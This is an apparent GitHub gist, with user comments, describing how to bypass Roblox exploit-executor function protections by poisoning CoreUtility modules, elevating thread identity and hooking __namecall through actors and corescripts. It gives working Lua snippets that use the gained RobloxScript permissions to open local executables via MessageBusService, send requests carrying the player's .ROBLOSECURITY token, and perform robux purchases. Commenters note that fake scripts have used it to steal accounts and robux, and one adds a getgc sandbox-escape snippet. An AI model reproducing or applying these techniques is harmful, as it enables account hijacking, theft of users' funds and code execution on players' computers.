Skip to content

Instantly share code, notes, and snippets.

@TheGreatSageEqualToHeaven
Last active June 28, 2026 12:09
Show Gist options
  • Select an option

  • Save TheGreatSageEqualToHeaven/969422baa43854d717bb651f6edda4b3 to your computer and use it in GitHub Desktop.

Select an option

Save TheGreatSageEqualToHeaven/969422baa43854d717bb651f6edda4b3 to your computer and use it in GitHub Desktop.
bypassing blocked function protections using corescripts

bypassing blocked function protections using corescripts

author: James Napora.


roblox and exploit fundamentals

  • corescripts have RobloxScript permissions on Roblox.
  • exploit function protections do not run on any threads except exploit threads.
  • roblox has several permission levels: None, Plugin, LocalUser, RobloxScript and Roblox.
  • actors on Roblox run whenever a script under it has a client run context, e.g local scripts, scripts with RunContext.Client and corescripts.
  • scripts under actors share the same global state
  • corescripts have their own global state if they are not running under an actor

roblox require behaviour and how they can be abused to allow corescripts to require modules

let's talk a bit about roblox's require implementation.

some corescripts use a CoreUtility because roblox does not have WaitForChildOfClass and WaitForChildWhichIsA by default

local CoreUtility = {}

function CoreUtility.waitForChildOfClass(parent, className)
	local child = parent:FindFirstChildOfClass(className)
	while not child or child.ClassName ~= className do
		child = parent.ChildAdded:Wait()
	end
	return child
end

function CoreUtility.waitForChildWhichIsA(parent, className)
	local child = parent:FindFirstChildWhichIsA(className)
	while not child or not child:IsA(className) do
		child = parent.ChildAdded:Wait()
	end
	return child
end

return CoreUtility

if we were to replace the original CoreUtility module with a malicious fork that runs malicious code in waitForChildOfClass, we would be greeted with a Cannot require a non-RobloxScript module from a RobloxScript. however if we were to manage to elevate the thread identity of the module to level 6 it would work perfectly and require without issues.

roblox also has a cache in the global state for all modules that prevents them from ever garbage collecting but lets modules be shared across all scripts in the game. if a module is cached the Cannot require a non-RobloxScript module from a RobloxScript error is avoided and returns the cached result from the global state.


abusing an actor to run on a corescript with run_on_actor

step 1.a: adding a corescript to the actor with AddCoreScriptLocal

the simplest way to create an actor with a running corescript is ScriptContext:AddCoreScriptLocal.

game:GetService("ScriptContext"):AddCoreScriptLocal("CoreScripts/ProximityPrompt", actor)

step 1.b: adding a corescript to the actor before corescript jobs run

another way to create an actor with a running corescript is if your exploit's auto-execute jobs run before the core-script jobs, it is possible to move the corescript to an actor before it runs with setparentinternal and similar functions.

step 2.a: requiring a pre-made module with run_on_actor

we now need to elevate the module's identity when it runs, this can be done with getfenv and set_thread_identity.

if getfenv(2).set_thread_identity then
	getfenv(2).set_thread_identity(6)
end 	

local CoreUtility = {}
...

step 2.b: hooking Instance metamethods

instead of having a pre-made malicious module we can also repeat what we did earlier but instead we can hook the Instance metamethods that the corescripts will have to use, and then can achieve a more dynamic and fluid approach to running malicious code.

local mt = debug.getmetatable(game)
make_writeable(mt)

local payload_ran = false
local old = mt.__namecall
mt.__namecall = function(...)
   if payload_ran == false then 
      payload_ran = true
      --/* Anything ran here will be completely unprotected */
   end
   
   return old(...)
end

step 3: adding a new corescript

now that we have an elevated module with an active actor we need to either rerun our original actor by reparenting it or by adding a new actor ScriptContext:AddCoreScriptLocal, then once it requires our malicious module it will the malicious code in our functions.


abusing an actor to run on a corescript without run_on_actor

if your exploit environment lacks run_on_actor what you can do instead is abuse module caching. if a module is already cached in the global state and if your exploit doesn't modify require, it will return the cached module for you with your malicious function.

by replacing the original module a corescript will require with our malicious copy and then requiring it in pre-made localscript that is parented under an actor and then adding a new corescript under the same actor, we can successfully bypass the thread identity check.

refer to the last section for other key details.


other approaches

if your exploit environment supports fire_signal or get_connections it is possible they can fire an actor's connections, which includes the corescript's connections. Through this you can send unsansitized data and attempt to have blocked functions called this way.


how to properly abuse RobloxScript permissions

several opportunities are opened up with unrestricted RobloxScript permissions.

MessageBusService becomes completely unrestricted and we can abuse the many Roblox messages it exposes, we can also access the openUrlRequest messages which lets us escape the sandbox trivially.

game:GetService("MessageBusService"):Publish(game:GetService("MessageBusService"):GetMessageId("Linking", "openURLRequest"), {url = "notepad.exe"})

we can use HttpService:RequestInternal and GuiService:OpenBrowserWindow to send a request to a domain with the player's .ROBLOSECURITY token.

game:GetService("HttpService"):RequestInternal{Url = "https://www.google.com/"}
game:GetService("GuiService"):OpenBrowserWindow("https://www.google.com/")

MarketplaceService is also unrestricted and allows to us to steal all the player's robux.

print(game:GetService("MarketplaceService"):GetRobuxBalance())
game:GetService("MarketplaceService"):PerformPurchase()
@pumpkinbunny

Copy link
Copy Markdown

Ok

@joeengo

joeengo commented Aug 16, 2023

Copy link
Copy Markdown

yum hummus

@bubbleberry0

Copy link
Copy Markdown

das cool n all but

ghost commented Aug 16, 2023

Copy link
Copy Markdown

holy shit lmao
we love RCEs

@AnthonyIsntHere

Copy link
Copy Markdown

MESSAGEBUSSERVICE...

@volumika

Copy link
Copy Markdown

rvvz was here

@bardium

bardium commented Jun 20, 2024

Copy link
Copy Markdown

how do u get around the page encryption

@playervalley

Copy link
Copy Markdown

very cool finding

@markitos4

Copy link
Copy Markdown

oh wow interesting

@memeenjoyer43

Copy link
Copy Markdown

its scary that people can steal our robux by executing their scripts

@jannnerb

jannnerb commented Nov 5, 2025

Copy link
Copy Markdown

okay this seems interesting but i'm a bit confused in here
is this supposed to be ran on the client or on a game/server? because i think this is ran on a exploit therefore being the client
and so that's what's confusing me
because then you can only make malicious changes to YOUR account and YOUR client n etc etc

@Reapvitalized

Copy link
Copy Markdown

this is goated

@rex-rbx

rex-rbx commented Dec 20, 2025

Copy link
Copy Markdown

okay this seems interesting but i'm a bit confused in here is this supposed to be ran on the client or on a game/server? because i think this is ran on a exploit therefore being the client and so that's what's confusing me because then you can only make malicious changes to YOUR account and YOUR client n etc etc

scripts on scriptblox, etc... can log your token witht this

@memeenjoyer43

Copy link
Copy Markdown

okay this seems interesting but i'm a bit confused in here is this supposed to be ran on the client or on a game/server? because i think this is ran on a exploit therefore being the client and so that's what's confusing me because then you can only make malicious changes to YOUR account and YOUR client n etc etc

a script executed on your roblox client(client sidedly) technically has the permission to modify your account because they're on a modified roblox process that's logged into your account. Because gamepass/item purchase confimation is done by the client(maybe) the script can force the client(your roblox account) to buy certain gamepass that will absolutely drain your robux. i hope whatever im talking about is correct

@jannnerb

Copy link
Copy Markdown

it makes sense why you'd say that but take it like this
the client is the door or door frame
the server is the room
obviously you'd want a door to the room because its logical
so roblox made it so that you use the door to go into the room
you cant just use the door, nor cant you just use the room
you have to use the door and then go into the room
and then you get your gamepass

@zhivoy-wq

Copy link
Copy Markdown

Can this still be treated as current technique or is it outdated now in 2026? If so, is there any up to date repo or information on the subject anywhere

@testing734

Copy link
Copy Markdown

Can this still be treated as current technique or is it outdated now in 2026? If so, is there any up to date repo or information on the subject anywhere

This is a very high severity if not patched it can be used by exploiters to make fake scripts for other exploiters (skid) who can run this and get their account hacked

@Van1a

Van1a commented Jun 22, 2026

Copy link
Copy Markdown

6/19/26 This Gist is no longer working on multiple executor including arceus, Codex, trigon you name it; they patched it by locking the _namecall on level 2 thread so you cannot call any services like game:GetService("MessageBusService") , game:GetService("HttpRbxApiService") anymore. Also any Poisoning module will not work anymore.

Cause some shits leaked this on executor devs

@AkenaHub

AkenaHub commented Jun 23, 2026

Copy link
Copy Markdown
local list = {}
for idx, tbl in next, getgc(true) do
    if type(tbl) == "table" then 
        table.insert(list, tbl)
    end
end

local env = (list[#list])

I've been referencing this gist for a bit now and was finding ways to escape the executor's environment I don't know if I have yet because even if I run env.printidentity() its still returning "Current identity is 8" which is the executors identity. I have gained an interest in trying to escape the executors environment because I've been bored lately and this seemed like a fun challenge especially since I am using a paid executor (potassium). The above code snippet just checks the GC for all tables and then finds the last one because that's a RobloxScript security tagged environment. I have confirmed this by doing the following:

--[[ use the above snippet for the environment ]] --
local util1 = require(game:GetService("CoreGui").RobloxGui.Modules.CoreUtility)
print(util1) -- this will error because you cannot require a RobloxScript from a non-RobloxScript context. 
local util2 = env.require(game:GetService("CoreGui").RobloxGui.Modules.CoreUtility)
print(util2.waitForChildOfClass) -- this prints the actual function proving that this script exits the executors environment

But regardless of this, env.printidentity() still results in identity 8 which I have no idea why. More proof that this is a Roblox environment:

print(env.game.Workspace:GetChildren()[1]:GetFullName()) -- prints the first child of workspace in the environment
for i,v in next, env do print(i,v) end -- prints all the globals of the environment (no executor functions found)

Still, even though I have "escaped" the executor environment you cannot run anything like this:

game:GetService("MessageBusService"):Publish(game:GetService("MessageBusService"):GetMessageId("Linking", "openURLRequest"), {url = "notepad.exe"})

I even changed it to this:

env.game:GetService("MessageBusService"):Publish(env.game:GetService("MessageBusService"):GetMessageId("Linking", "openURLRequest"), {url = "notepad.exe"})

@Van1a

Van1a commented Jun 27, 2026

Copy link
Copy Markdown

@AkenaHub That was pretty weird, Honestly I think that you're still running on executor sandboxed, I don't understand yet your code since you did not include your whole custom env, but im assuming it was just getrenv() if that so then you are still running on exec sandbox executor; exec now days prevent poisoning the coreutility I have tried this method a lot and I always get a silent error no Block Function output so I just assumed that it probably escaped the thread exec somehow and the error output run outside so it was not visible on client but I'm completely clueless why and how exec still managed to prevent it

This probably your env
https://devforum.roblox.com/t/need-help-attempting-to-bypass-blocked-function-protection-in-a-modified-roblox-client/3142246/9

also about your executor identity It was normal that it output 8; but it was faked most executor do that but behind it you are just running on local script thread which is only level 2

@testing734

Copy link
Copy Markdown

Apparently there have been cases of people's account getting cookie logged even on delta over 12,000+ in robux was stolen from one dude

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment